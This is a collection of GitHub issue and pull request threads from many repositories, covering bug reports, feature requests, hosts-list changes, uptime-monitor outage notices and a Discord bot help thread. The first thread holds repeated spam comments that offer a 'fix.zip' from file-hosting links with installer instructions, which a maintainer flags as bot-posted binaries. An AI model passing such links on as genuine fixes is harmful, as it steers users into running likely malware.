text:
[Bug]Installed in windows11, but not showing in Settings

Before Reporting

[X] I found no existing issues matching my bug
[ ] My issue is not caused by the Millennium interface inside Steam (Themes, Plugins & Update Panel). If it is, make a issue report in this repo.
[X] My issue is not caused by a theme

Describe the Bug

Expected Behavior
I hope it can show in Settings.
Steps To Reproduce
1.win11
2.put all files into my Steam directory
3.restart steam by -dev
Operating System
Windows
Anything else?
No response

I tested two Win10 and two Win11, and both Win11 failed

下载 https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file 在安装程序菜单中，选择“gcc”。

haha

Download
https://mega.nz/file/UYhhgZTR#EfgMGXyZlKeqZatw9ALTKS9JBu-qXLHYQli_2jXDCWU
In the installer menu, select "gcc."

Hopefully you didn't run any of the files the bots put in here, never try downloading pre-compiled binaries from a random person in a thread. Anyways, you need an internet connection on the initial setup of Millennium (which is likely what is causing the issue)

Download
https://www.mediafire.com/file/ynhx37qmyqek881/fix.zip/file
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/ynhx37qmyqek881/fix.zip/file
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=0
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

repo: SteamClientHomebrew/Millennium


text:
Prevent errors on a wider array of valid conditionals

Currently, VKV will throw an error with the below conditional, despite it being valid in the Source engine:
GameUIButtonsSmall
{
    "1"    [$WIN32]
    {
        "bitmap"    "1"
        "name"        "Buttons"
        "scalex"    "0.5"
        "scaley"    "0.5"
    }
}

This PR completely removes the positional validity check from conditionals. It's possible that this change is too permissive, so let me know if it can be made a bit more specific.

This needs tests.

Tests have been added 🙂

I'm still not entirely sold on the "key" [$CONDITION] "value" case being intentionally valid, the rest looks fine to me.

source: gharchive/pull-request

authors: alvancamp xPaw yaakov-h

repo: SteamDatabase/ValveKeyValue

license: mit

license_type: permissive

license_source: bigquery


text:
Update appdata to make it easier to find

According to spec in: https://www.freedesktop.org/software/appstream/docs/chap-Metadata.html we can define some keywords to make finding this app easier. (I was looking for it and I found it only after searching through Reddit)

   <keyword translate="no">Steam</keyword>
    <keyword translate="no">SteamGridDB</keyword>
    <keyword>Artwork</keyword>
    <keyword>Cover</keyword>

Do you recommend any other keywords like?
(I am thinking about also adding Deck to keywords)

Nothing comes to mind. I'm gonna merge this now unless you want to add more?

@doZennn
You can merge it now :)

authors: doZennn pktiuk

repo: SteamGridDB/SGDBoop

license: Zlib

license_source: github-api


text:
How Is The Management:Endpoint:Path property used?

Question
I would like to redirect the path to the actuator endpoints globally. The documentation says it can be done like this?
Management": {
"Endpoints": {
"Path": "your url here",
"Actuator": {
"Exposure": {
"Include": [
"*"
]
}
}
}
Is this correct as anything I change it to does not work. I just get a blank page with no actuators listed. Am I setting this correctly?
Environment (please complete the following information):

.NET Version 7
Steeltoe Version 3.2.3

Additional context or links
I would like the url to the actuators to looks something like this:
http://www.anydomain.com/Employment/Queries/actuator or
http://www.anydomain.com/Employment/Queries/actuator/env etc

Your understanding is correct. I just tested with this appsettings.json:
 "Management": {
    "Endpoints": {
      "Path": "/Employment/Queries/actuator",
      "Actuator": {
        "Exposure": {
          "Include": [ "*" ]
        }
      }
    }
  },

Running locally, I was able to access the endpoints at "https://[localhost:5001/Employment/Queries/actuator"
Are using PathBase middeware or hosting at a different context? Or perhaps giving the full url in the Path setting? Or perhaps expecting it to start with actuator when actually setting the Path to /Employment/Queries

Just noticed it is working until I use the Docker launch setting. Then I just get a blank page in http, https, and docker launch settings. Thank you.

@JackInTheBoxBen Sounds like the issue is resolved. Feel free to re-open if you need more assistance.

source: gharchive/issue

authors: JackInTheBoxBen hananiel

repo: SteeltoeOSS/Steeltoe


text:
NotEqual filter not working with DateTime

public class Program
{
    public static void Main(string[] args)
    {
        IQueryable<Model> models = new[] { new Model() }.AsQueryable();

        Console.WriteLine(models.Where("Date != null").ToArray().Length);
    }
}

public class Model
{
    public DateTime Date { get; set; }
}

Throws The binary operator NotEqual is not defined for the types 'System.DateTime' and 'System.String'. This works in System.Linq.Dynamic and System.Linq.

Issue is solved, some unit-tests are also added.
Can you please verify this library ? Or do you want a NuGet to test ?

I confirmed, it's working.

authors: Muchiachio StefH


text:
Support email newsletter 🙂

Love the website and posts 😀
I’d love to subscribe to them, but only subscribe to things typically through email.
Would love to be able to get emails for new posts 🙂

Likewise

Not planning it for now. I don't have regular posts (not posts at all in the past 2 weeks ~.~), and still got several to-dos on the site. We will see what the future hold :)
You can follow on Twitter and got an RSS feed too!

authors: Stefanye babramczyk karesztrk

repo: Stefanye/CSSHell

license: MIT


text:
Create a parse listener to generate the Form configurations using Extension Properties

instead of having to configure the form setup with all of the details, lets create a Parse Listener that will auto-config the UT and Start Event forms with the form configurations:
Use Camunda Extension properties (Extension Tab in the Properties Panel in the Camunda Modeler) to add the various configurations.

Added as part of v1.6

repo: StephenOTT/camunda-formio-plugin


text:
Release/1.16

Filters!

Timing
Language
Persistency of filters
Smart Language resolving

New Back Navigation: Root "My Courses"
Remake course loading -> extract Course Presenter

Стоило вмерджить релизную ветку, но в данный момент они одинаковы

repo: StepicOrg/stepic-android


text:
SKDesktopDuplicator

Compile time Bug：[SK diagnostic] platform_read_file can't find DesktopDuplicator.ini
How can I solve this problem? Thank you (I'm new to programming)

Ah, this might actually be an outdated version of the passthrough extension code! The xrEndFrame issue is there because passthrough isn't available, or some related thing. Make sure you have passthrough enabled in the Oculus beta settings!

I'll also update the passthrough script in a moment, but that'll just ensure that the app continues properly without any passthrough.

Thanks for the quick answer

authors: juntao-huang maluoi

repo: StereoKit/StereoKit


text:
Eye tracking at all times.

Describe the feature
Can the eye tracking panel be set up to be fixed to the head so that you can always see where your eyes are even if you turn your head?
An example use-case
For training purposes if you want to show someone where you are looking.

Is this a request to change the behavior of DemoEyes.cs? Or is this something else?

it will be for That demo yes I'm using that as the base and just need a way to have the eye tracking follow my head so I can always see where my eyes are

Try using something like this to position an object in front of the user each frame:
Vec3 pos = Input.Head.position + Input.Head.Forward * 0.5f;
Quat rot = Quat.LookAt(pos, Input.Head.position);
Mesh.Quad.Draw(Material.Default, Matrix.TR(pos, rot));

should I add it to the Plane code?
Matrix quadPose = Matrix.S(0.4f) * Demo.contentPose; 		Plane  plane    = new Plane(quadPose * Vec3.Zero, quadPose.TransformNormal(Vec3.Forward));

authors: JackRumboll maluoi


text:
🛑 DNS (he.net) is down

In c99554d, DNS (he.net) ($HE_NS) was down:

HTTP code: 0
Response time: 0 ms

Resolved: DNS (he.net) is back up in 2760ade.

repo: Sternwarte-St-Ottilien-e-V/status


text:
🛑 DNS (he.net) is down

In 33276b8, DNS (he.net) ($HE_NS) was down:

HTTP code: 0
Response time: 0 ms

Resolved: DNS (he.net) is back up in 20a1719.


text:
🛑 DNS (he.net) is down

In 38fe9b8, DNS (he.net) ($HE_NS) was down:

HTTP code: 0
Response time: 0 ms

Resolved: DNS (he.net) is back up in 49259cd.


text:
🛑 DNS (he.net) is down

In aa85554, DNS (he.net) ($HE_NS) was down:

HTTP code: 0
Response time: 0 ms

Resolved: DNS (he.net) is back up in 5dcf779.


text:
RED SCREEN WHAT DO I DO!

Before creating an issue, remember that FBI does not work on systems without custom firmware on 11.3. There is no kernel exploit for this version yet, and there are currently no estimates when another one will be found.
If you are experiencing issues installing a CIA file, please make sure that:

Your CIA file is valid.
Your SD card is good.

Make sure you don't have a counterfeit SD card.
Check the SD card for filesystem errors.
Try a different SD card, if possible.

Please do not create duplicate issue tickets.


text:
[whitelist] widget-mediator.zopim.com

It blocks loading of zendesk chat widget.

Thank you Josta @jostyee.
Domain widget-mediator.zopim.com comes to us via AdAway.  @jawz101 what do you think?

removed.  thanks

Thank you.

Thank you Josta @jostyee and thanks, as always, @jawz101.

authors: StevenBlack jawz101 jostyee

repo: StevenBlack/hosts


text:
phone adware: santknow

Similar to the one described in the previous issue. I think there is some adware on the phone that's loading a variety of ad websites.
ad link: https://santknow .com/fashion/0809/873938047014535168.html
screenshot: https://files.catbox.moe/1ni0hl.jpg
No results on google for this site other than the site itself.

Would you mind passing these onto the person who's device it is:

https://malwaretips.com/blogs/how-to-reset-chrome-browser-settings-on-android-phone/
https://support.google.com/accounts/answer/9924802?co=GENIE.Platform%3DAndroid

Thank you for this Devon @hyder365.
What "previous issue" are you referring-to here?

https://github.com/StevenBlack/hosts/issues/2403 I assume?

authors: StevenBlack hyder365 iam-py-test


text:
OneDrive cannot connect or sign in

I have used your host file to set up adblock list in DNSMasq on my DDWRT router. However, if I turn on my VPN to a remote server (TorGuard VPN), onedrive can re-establish the connection.

@tienhuynh5312 do you know which domain is being blocked?
Anyone else experiencing this?

Weird, I'm always up-to-date (using Steven's default hosts list + other hpHosts sources) on my Win8.1Pro and onedrive syncs peacefully without any errors. Even on my Windows Phone and Note 4.

I have spotted out the error causing this. Beside using DNSmasq adblock host, I turned on Encrypt DNS that use Adguard DNS (maybe other DNS in the ddwrt setting). After I disable Encrypt DNS, everything works just fine now. @StevenBlack

@tienhuynh5312 that's interesting.  Thanks.
Closing.

authors: Laicure StevenBlack tienhuynh5312


text:
telemetry.acronis.com

I found it in logs.
If you using acronis software, then app in background collect telemetry data. IMHO can be blocked and improve privacy.
Ping every hour.
https://domain.glass/telemetry.acronis.com

Thank you Tomasz @FadeMind.  Merging!

authors: FadeMind StevenBlack


text:
Question: Async actions (async thunk-like)

I recently discovered this project and I find it really promising, but checking readme file and example project I could not figure out how to perform an async action like async thunks in redux.
For example if I need to perform a login with a remote service I would need an action with 2 parameters (id, pw) that should trigger a background request and set a loading= true and then upon completion report success or fail using 2 other actions.
I thought Action Plans could be the right way but I am not sure about passing 2 parameters to an action plan.
Maybe I am missing something?
Thank you.

Hi, I looked at my code and found an example of Action plan that takes two arguments:
static func purchaseProduct(
        paymentService: PaymentService,
        product: Product
    ) -> ActionPlan<AppState> {
        ActionPlan<AppState> { store -> AnyPublisher<Action, Never> in
            paymentService.purchaseProduct(product)
                .catch { _ in Just<Pro?>(store.state.proState.pro) }
                .map { ProAction.setProStatus($0) }
                .eraseToAnyPublisher()
        }
    }

You can use the .map function to dispatch two different actions as you described.

Hi, I looked at my code and found an example of Action plan that takes two arguments:
static func purchaseProduct(
        paymentService: PaymentService,
        product: Product
    ) -> ActionPlan<AppState> {
        ActionPlan<AppState> { store -> AnyPublisher<Action, Never> in
            paymentService.purchaseProduct(product)
                .catch { _ in Just<Pro?>(store.state.proState.pro) }
                .map { ProAction.setProStatus($0) }
                .eraseToAnyPublisher()
        }
    }

You can use the .map function to dispatch two different actions as you described.

Thank you very much! I will try it tomorrow.

Thank you very much! I will try it tomorrow.

it works perfectly. I think this example could be useful in the readme and that you could close the issue.

authors: gioele-santi kamilpowalowski

repo: StevenLambion/SwiftDux


text:
rmd file support

Would love to have R Studio markdown format support, not only markdown format. (we have rm file support, just add rmd too).
https://rmarkdown.rstudio.com/authoring_quick_tour.html

What would be the use case for this? AFAIK, RStudio can convert R Markdown to PDF.

Not sure if there are any other ways to accomplish this, but it seems like the only way to convert this is going from RMD->MD->HTML->PDF. But the RMD->MD steps would require Rscript and that requires R/RStudio. I guess we could have this in the full version, but I have no idea what the size of the dependencies for this are.

Closing this feature as not planned due to RStudio requirement

authors: Frooodle NeilJared sbplat

repo: Stirling-Tools/Stirling-PDF


text:
Framework selection

Here is suggestion to shift dashboard development on js framework to achieve more structured architecture and ability to maintain our project in the future.
EmberJS is proposed initially, but any suggestion can be accepted if here enough specialist of particular framework.
So what is your opinion on it?

+1 for EmberJS :)
Also, please sign Storj CLA when you can!

authors: EmergentBehavior wivern-co-uk

repo: Storj/downstream-dash


text:
Fix heroku

There were a couple of things that made a Heroku install fail for me:

if the node engine is defined as < 0.8.x it resolves to the latest node (4.1.2 right now) ... and that makes the build process on Heroku fail with an ELIFECYCLE error. Solved by setting node.engine to 0.12.x in package.json
the everypaas module was broken so that Heroku wasn't detected anymore. Solved by fixing the lookup (switched from process.env.PORT to process.env.DYNO to detect Heroku) and adding my fork as a dependency. (link to pull request: https://github.com/niallo/everypaas/pull/3 )
the strider-node module threw an error for it's MD5 dependency -- it required a version that didn't exist (> 1.1.0 ... this seems to be broken since the author of MD5 merged his repo with the md5 repo (https://github.com/pvorb/node-md5/issues/5#issuecomment-121759576)). Solved by fixing strider-node and adding my fork to package.json. (pull request: https://github.com/Strider-CD/strider-node/pull/29 )

strider-node has been updated to 0.6.6

Ok ... I will update package.json.
Thanks

Thanks @janruehling

authors: janruehling knownasilya

repo: Strider-CD/strider


text:
No way of undoing delete mode

When you press backspace, the node becomes red, but there's no way of returning it to normal

With #26 you can undo it by moving focus to another component. Still, having a key such as Esc to undo deletion would improve the user experience.

repo: Strumenta/webeditkit


text:
Lock slider when it hit's specific number?

Hi,
I have a min 0 and max 100 but the value is on 50 and it cannot go under 50, how can I achieve this?
if (val == 50) { 	 return false; }
Doesn't seem to work

Hi
Check this example

You sir are a hero!

authors: Fenny Stryzhevskyi

repo: Stryzhevskyi/rangeSlider


text:
🛑 Nextcloud Papa is down

In bb7beed, Nextcloud Papa ($NEXTCLOUD_2) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Nextcloud Papa is back up in fff6f60.

repo: StudFu-WordToMD/status


text:
認識関係の実装はJDBC接続にしたい

DBとの接続方式を統一したかったのでMybatis方式にしたのですか、参考資料などが全てJdbc方式なので、やはり戻したい。

鈴木担当します

鈴木担当します

Testです

Slack投稿テスト

Slack投稿テスト

連携できた

対応しました。


text:
Refactor to XML - How to Trigger?

Hi, I love this library it's super useful, thanks so much for creating it.
I especially love the feature at the end of the README that has a quick GIF of how to refactor the config settings out of the code and into app.config. But how on earth do you get that dialog box to pop up?? I can't get it to work for me.
Thanks.

It's a code refactoring so it's triggered by using CTRL + ., the same as code fixes. If you've installed the analyzer as a nuget package, this only works starting in the current preview versions of VS https://github.com/dotnet/roslyn/issues/32705 . If that's the case, you either need to install the vsix extension or use the preview version of visual studio (although i haven't confirmed that this works yet)

Got it, was just about to post that I see it only works with VSIX not nuget, you beat me to it.

authors: Suchiman yehoshuadimarsky

repo: Suchiman/SerilogAnalyzer


text:
Feat: Subscribe to newsletter

Describe the feature
Adding subscribe to newsletter feature in footer.
Add ScreenShots

Record

[X] I agree to follow this project's Code of Conduct
[X] I'm a GSSOC'24 contributor
[X] I want to work on this issue

Hello, I'm a GSSOC'24 contributor
I would like to work on the same. Can you please assign this to me.

repo: Suchitra-Sahoo/AgriLearnNetwork


text:
Feat: Footer UI

Describe the feature
Improve the design of the Footer and make it more interactive
Please assign me this task, I will efficiently do it!
Add ScreenShots
reference footer :

Record

[X] I agree to follow this project's Code of Conduct
[X] I'm a GSSOC'24 contributor
[X] I want to work on this issue

This issue is already assigned


text:
responsive design done

Website is responsive in different devices
https://github.com/Suchitra-Sahoo/AgriLearnNetwork/assets/149225785/98f51e36-8281-4947-831b-6ed3261b1b8e

@Suchitra-Sahoo  my issue no #158


text:
User can now exit from the chatbot using the exit option.

the exit option and the name of the bot is now visible which were previously hidden by navbar, now user can exit chatbot using the exit option and the name of the bot is also visible.

@DevanshuSinghai add some screenshots about the changes made.

Mention your issie number too.

my issue number is #46
these are the screenshots
before

after

You need to wait for the issue to be assigned and then start working and raise PR. Also someone is already been assigned this issue.

authors: DevanshuSinghai Suchitra-Sahoo


text:
Add a basic spellchecking functionality to information page

Fix #1
This feature is pretty basic but it works similarly to the other functionality for now.
A major limit is that the spelling errors aren't displayed with any context, but that's the same for the remaining warnings and errors. I assume we will eventually want to display errors and warnings on a per-block basis so that the author gets more context.
We may want to consider adding our own library of terms that will be incorrectly flagged, as the pyspellchecker dataset is drawn from closed captioning and may not capture some relatively common legal language.

I tried it out, and while I agree with the feature, I'm not a big fan of pyspellchecker. I thought things were broken because it wasn't catching when I changed "will" to "willl", but turns out it just thinks that "willl" is a valid word. The data comes from OpenSubtitles, and at a quick glance contains words like "willl", "willservicethisgreatnation" (one word), "hoje" (a Portuguese word), and "hi'm". Others have run into this issue as well. While we could use our own dictionary, it might be worth it to just use something else like symspellpy instead.

I tried it out, and while I agree with the feature, I'm not a big fan of pyspellchecker. I thought things were broken because it wasn't catching when I changed "will" to "willl", but turns out it just thinks that "willl" is a valid word. The data comes from OpenSubtitles, and at a quick glance contains words like "willl", "willservicethisgreatnation" (one word), "hoje" (a Portuguese word), and "hi'm". Others have run into this issue as well. While we could use our own dictionary, it might be worth it to just use something else like symspellpy instead.

I hadn't run into that library in my initial search, but it looks fine. Happy to switch to a different dictionary.

Did a little work on this. While symspellpy is really powerful, it too has weird quirks (it doesn't seem to like capitalization very much, and the options to preserve it don't seem to work at all). The API is different, but idk if I'd call it better or not. From all of this, the best solution is probably to make our own dictionary, with a much stricter source corpus. The author of pyspellchecker describes how to do that in a github discussion.
Since the API itself isn't going to be changing, just the dictionary, this is probably fine to merge now. We can add the better dictionary later, so I'm going to approve.

authors: BryceStevenWilley nonprofittechy

repo: SuffolkLITLab/docassemble-ALLinter


text:
Regression: user is no longer prompted to select custom names

Instead they seem to get automatically created

Never mind--looks like it was already fixed in 1.4.7.1

repo: SuffolkLITLab/docassemble-ALWeaver


text:
🛑 Zinc 15 is down

In d36dac6, Zinc 15 (https://zinc15.docking.org) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Zinc 15 is back up in 73b9345.

repo: Sulstice/Uptime-Cheminformatics


text:
🛑 Binding Database is down

In d515e75, Binding Database (http://www.bindingdb.org/bind/index.jsp) was down:

HTTP code: 503
Response time: 677 ms

Resolved: Binding Database is back up in 3d7a396.


text:
🛑 Chem Exper is down

In 2590c21, Chem Exper (http://www.chemexper.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Chem Exper is back up in 1df869f.


text:
🛑 Chemical Resolver is down

In 2a83580, Chemical Resolver (https://cactus.nci.nih.gov/chemical/structure) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Chemical Resolver is back up in 699c94e.


text:
🛑 Chem Exper is down

In 921afd1, Chem Exper (http://www.chemexper.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Chem Exper is back up in cc4a1df.


text:
🛑 Zinc 20 is down

In 066dc67, Zinc 20 (https://zinc20.docking.org) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Zinc 20 is back up in 9619eb2.


text:
🛑 Zinc 15 is down

In 22712d8, Zinc 15 (https://zinc15.docking.org) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Zinc 15 is back up in 4fce5cd.


text:
🛑 Chem Exper is down

In 3bb4804, Chem Exper (http://www.chemexper.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Chem Exper is back up in b3f7a5e.


text:
🛑 Zinc 15 is down

In 536c71f, Zinc 15 (https://zinc15.docking.org) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Zinc 15 is back up in fcc40fb.


text:
🛑 Chem Exper is down

In 9da5131, Chem Exper (http://www.chemexper.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Chem Exper is back up in e16b299 after 1 hour, 7 minutes.


text:
🛑 Chem Exper is down

In c2d9c03, Chem Exper (http://www.chemexper.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Chem Exper is back up in ccc6370 after 7 minutes.


text:
🛑 Chem Exper is down

In 5283b2d, Chem Exper (http://www.chemexper.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Chem Exper is back up in 4ed2160 after 7 minutes.


text:
🛑 Chem Exper is down

In 30e5d9c, Chem Exper (http://www.chemexper.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Chem Exper is back up in 0d7106c after 26 minutes.


text:
🛑 Chem Exper is down

In 4d7c17f, Chem Exper (http://www.chemexper.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Chem Exper is back up in e7af135 after 9 minutes.


text:
🛑 Binding Database is down

In a58074b, Binding Database (http://www.bindingdb.org/bind/index.jsp) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Binding Database is back up in 558407f after 8 minutes.


text:
🛑 Zinc 20 is down

In 52b3800, Zinc 20 (https://zinc20.docking.org) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Zinc 20 is back up in 99f1643.


text:
🛑 Zinc 15 is down

In 506167a, Zinc 15 (https://zinc15.docking.org) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Zinc 15 is back up in 5186494 after 7 minutes.


text:
🛑 LookChem is down

In 606b79c, LookChem (https://www.lookchem.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: LookChem is back up in d39c29d after 16 minutes.


text:
🛑 Binding Database is down

In f46a649, Binding Database (http://www.bindingdb.org/bind/index.jsp) was down:

HTTP code: 503
Response time: 906 ms

Resolved: Binding Database is back up in cddda75 after 9 minutes.


text:
🛑 Chem Exper is down

In 8d2e2d0, Chem Exper (http://www.chemexper.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Chem Exper is back up in bc37c24 after 7 minutes.


text:
🛑 Chem Exper is down

In e075b28, Chem Exper (http://www.chemexper.com/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Chem Exper is back up in 31e85b0 after 57 minutes.


text:
🛑 Drug Safety Analysis System is down

In 937de54, Drug Safety Analysis System (http://xundrug.cn/moltox) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Drug Safety Analysis System is back up in 1bcd53c.


text:
🛑 Zinc 20 is down

In fe7c2d3, Zinc 20 (https://zinc20.docking.org) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Zinc 20 is back up in 06bcb63.


text:
🛑 ITK Analysis of Large Histology Datasets is down

In 31d2251, ITK Analysis of Large Histology Datasets (http://www.na-mic.org/Wiki/index.php/ITK_Analysis_of_Large_Histology_Datasets) was down:

HTTP code: 502
Response time: 492 ms

Resolved: ITK Analysis of Large Histology Datasets is back up in e58837c after 31 minutes.

repo: Sulstice/Uptime-Medical-Informatics


text:
🛑 The Open Access Series of Imaging Studies is down

In df8fef1, The Open Access Series of Imaging Studies (http://www.oasis-brains.org/) was down:

HTTP code: 403
Response time: 318 ms

Resolved: The Open Access Series of Imaging Studies is back up in 40e8524 after 7 minutes.


text:
beta opt-in link

This link https://help.sumologic.com/docs/manage/manage-subscription/beta-opt-in/docs/beta doesn’t work in this page https://help.sumologic.com/docs/manage/manage-subscription/beta-opt-in/. Can someone take a look?
Slack Message

fixed in local build

repo: SumoLogic/sumologic-documentation


text:
[Feature Request] Ability to POST a single/multi-parted data

Add POST request capability to the library so we can send single/multi parted data to the server.
Utilizes - UploadDataProvider & UploadDataSink
I think this can be used for PUT method also? (or, any other data sending method in general)

Here is a prove of concept https://github.com/Sunbreak/cronet_flutter/tree/feature/post

Is multi-parted uploads supported without chunked uploads? Any idea how to achieve multi-parted uploads? I'll also start studying about chunked uploads.

Could you write some example/unitest to elaborate the usecase?
Or maybe some pesudo code with package http or dio to post request to https://postman-echo.com

Sure. I'll try to do that. What I mean is, can we use multipart/form-data as content-type? Do we need to make any changes from your current solution to do that? And, also if we want to upload multiple files at once like this:
https://stackoverflow.com/questions/913626/what-should-a-multipart-http-request-with-multiple-files-look-like
(Sorry for this novice question 😅)
Actually, I don't know any test/dummy api to test these. So, haven't got a scope to test them yet. Seems like I've to build one 😅

Ref: https://github.com/Sunbreak/cronet_flutter/issues/14
Checkout https://github.com/unsuitable001/dart_cronet_sample for better usability


text:
截图功能缺失

已经开启了“屏幕录制”权限，但截图时还是提示未开启。多次取消勾选再勾选都不能截图。

是 Intel 设备还是 ARM 设备呢，我测试正常

arm架构，macOS 11.3.1

安装完插件后执行：sudo codesign -f -s - --deep /Applications/WeChat.app 看看有没有问题

+1  不能截图
刚升级 macOS 10.15 Big Sur, MBP 2020 16

+1 不能截图
刚升级 macOS 10.15 Big Sur, MBP 2020 16

我卸载重装了微信， 也不能截图

bigSur 11.3.1 sudo codesign -f -s - --deep /Applications/WeChat.app这个方法不起作用, 微信截屏依然无法使用

emm，目前看起来没办法

用mac自带的问题不大

repo: Sunnyyoung/WeChatTweak-macOS


text:
Additional options (no crouch and toggle on/off) for essentialCarefulBreak & essentialCarefulDrop

Describe the feature
Rule Name: essentialCarefulBreak & essentialCarefulDrop
Description: Allow these to be used at all times, without the need for crouching & toggle ON/OFF with a key
Options:
A only activated when crouching
B always activated (without need for crouching)
C toggle on/off (user defined key) (alternative to having to unsubscribe/re-subscribe)
Expected behavior
Currently, you have to crouch for this to work (A). However, some players want the option to have this on all the time, without the need to crouch (B). Additionally, there might be times when you want to stay subscribed but not have this ON (either with A or B), so a toggle option (C), via user-defined key to avoid conflicts, would be great.
Additional info
Ability to set the default option for players on the server and save their settings.

It's not quite the same, but someone did add functionality to allow the CarefulBreak functionality without requiring the crouching (aka sneaking) in their fork of "carpet-addons".
https://github.com/enjarai/carpet-addons

repo: Super-Santa/EssentialAddons


text:
When i tried to run using colab: Error: 'Path 'data/raw/Market-1501-v15.09.15' does not exist!

Exception                                 Traceback (most recent call last)
 in ()
16                                     )
17
---> 18 data_module = ReIDDataModule.from_argparse_args(args)
19
20 model = ST_ReID(data_module.num_classes, learning_rate=args.learning_rate,
2 frames
/content/MTMCT-Person-Re-Identification/mtmct_reid/data.py in init(self, data_dir, st_distribution, train_subdir, test_subdir, query_subdir, train_batchsize, val_batchsize, test_batchsize, num_workers, random_erasing, color_jitter, save_distribution)
114         if not self.data_dir.exists():
115             raise Exception(
--> 116                 f"'Path '{self.data_dir.str()}' does not exist!")
117         if not self.data_dir.is_dir():
118             raise Exception(
Exception: 'Path 'data/raw/Market-1501-v15.09.15' does not exist!

You need to run the first cell!


text:
how to pass the message object into the player events

does anyone know how to pass the message object into the player events because I cant put the events inside of the 'messageCreate' event so I am stuck. plz help!

in the command(s)
<Queue>.setData({ channel: msg.channel })

in the event(s)
<Queue>.data.channel

?

were do I put the code?

were do I put the code?

I literally write where you have to put it

i dont understand, i have brain problems

And also, you look like you're expecting me to know everything about your bot, which I obviously don't.

sorry.

but i am not as advanced as you.

and I did what you said and it gave me a error

you can pass custom data inside 'play' command after you define createQueue() and then pass the data as its parameter to call later in the event handler
ex:
const channel = client.guilds.cache.get(message.guild.id).channels.cache.get(message.channel.id);
if(command === 'play') {
        let queue = client.player.createQueue(message.guild.id, data : {
           message = channel;
        });

        await queue.join(message.member.voice.channel);
        let song = await queue.play(args.join(' ')).catch(_ => {
            if(!guildQueue)
                queue.stop();
        });
    }

and then on the event handler
player.on('EVENT_NAME', (queue) => {
queue.data.send('your message');
});

can the queue.data.send send embeds?

yes you can.

i will try

can the queue.data.send send embeds?

That's related to D.JS, not DMP, therefore this is the wrong place to ask

I tried it and I got error.
code :
let queue = client.player.createQueue(message.guild.id, data, {
message = channel
});
    await queue.join(message.member.voice.channel);
    let song = await queue.play(args.join(' ')).catch(_ => {
        if(!guildQueue)
            queue.stop();
    });

I tried it and I got error.
code :
let queue = client.player.createQueue(message.guild.id, data, {
message = channel
});
    await queue.join(message.member.voice.channel);
    let song = await queue.play(args.join(' ')).catch(_ => {
        if(!guildQueue)
            queue.stop();
    });

i think you mispelled data : with data ,

i got a error

it says i need a: .

i got a error

oh sorry you have to add another '{' bracket before declaring data :

so it should be
let queue = client.player.createQueue(message.guild.id,  {
data : {
           message = channel
           }
  });

so it should be
let queue = client.player.createQueue(message.guild.id,  {
data : {
           message = channel
           }
  });

message = channel, lmao

so it should be
let queue = client.player.createQueue(message.guild.id,  {
data : {
           message = channel
           }
  });

message = channel, lmao

i'm just trying to help however i can. if you think i made a mistake please tell him the correct way to pass :)

i got a error: TypeError: Cannot read properties of undefined (reading 'voice')

so it should be
let queue = client.player.createQueue(message.guild.id,  {
data : {
           message = channel
           }
  });

message = channel, lmao

i'm just trying to help however i can. if you think i made a mistake please tell him the correct way to pass :)

I guess telling them to learn JS is the best way to help them.

this is the code which gave me the error
let queue = client.player.createQueue(message.guild.id, {data :
			message = channel
		 });

		 **await queue.join(message.member.voice.channel);**
		 let song = await queue.play(args.join(' ')).catch(_ => {
			 if(!guildQueue)
				 queue.stop();
		 });

this is the code that gave me the error (error: TypeError: Cannot read properties of undefined (reading 'voice'))
let queue = client.player.createQueue(message.guild.id, {data :
			message = channel
		 });

		 await queue.join(message.member.voice.channel);
		 let song = await queue.play(args.join(' ')).catch(_ => {
			 if(!guildQueue)
				 queue.stop();
		 });

scrap that :) change message = channel to initMessage = message

this is the code that gave me the error (error: TypeError: Cannot read properties of undefined (reading 'voice'))
let queue = client.player.createQueue(message.guild.id, {data :
			message = channel
		 });

		 await queue.join(message.member.voice.channel);
		 let song = await queue.play(args.join(' ')).catch(_ => {
			 if(!guildQueue)
				 queue.stop();
		 });

Discord.js related

I have the data working but how do I use the data?

and then on the event handler
player.on('EVENT_NAME', (queue) => {
queue.data.initMessage.channel.send('your message');
});

in the event right here

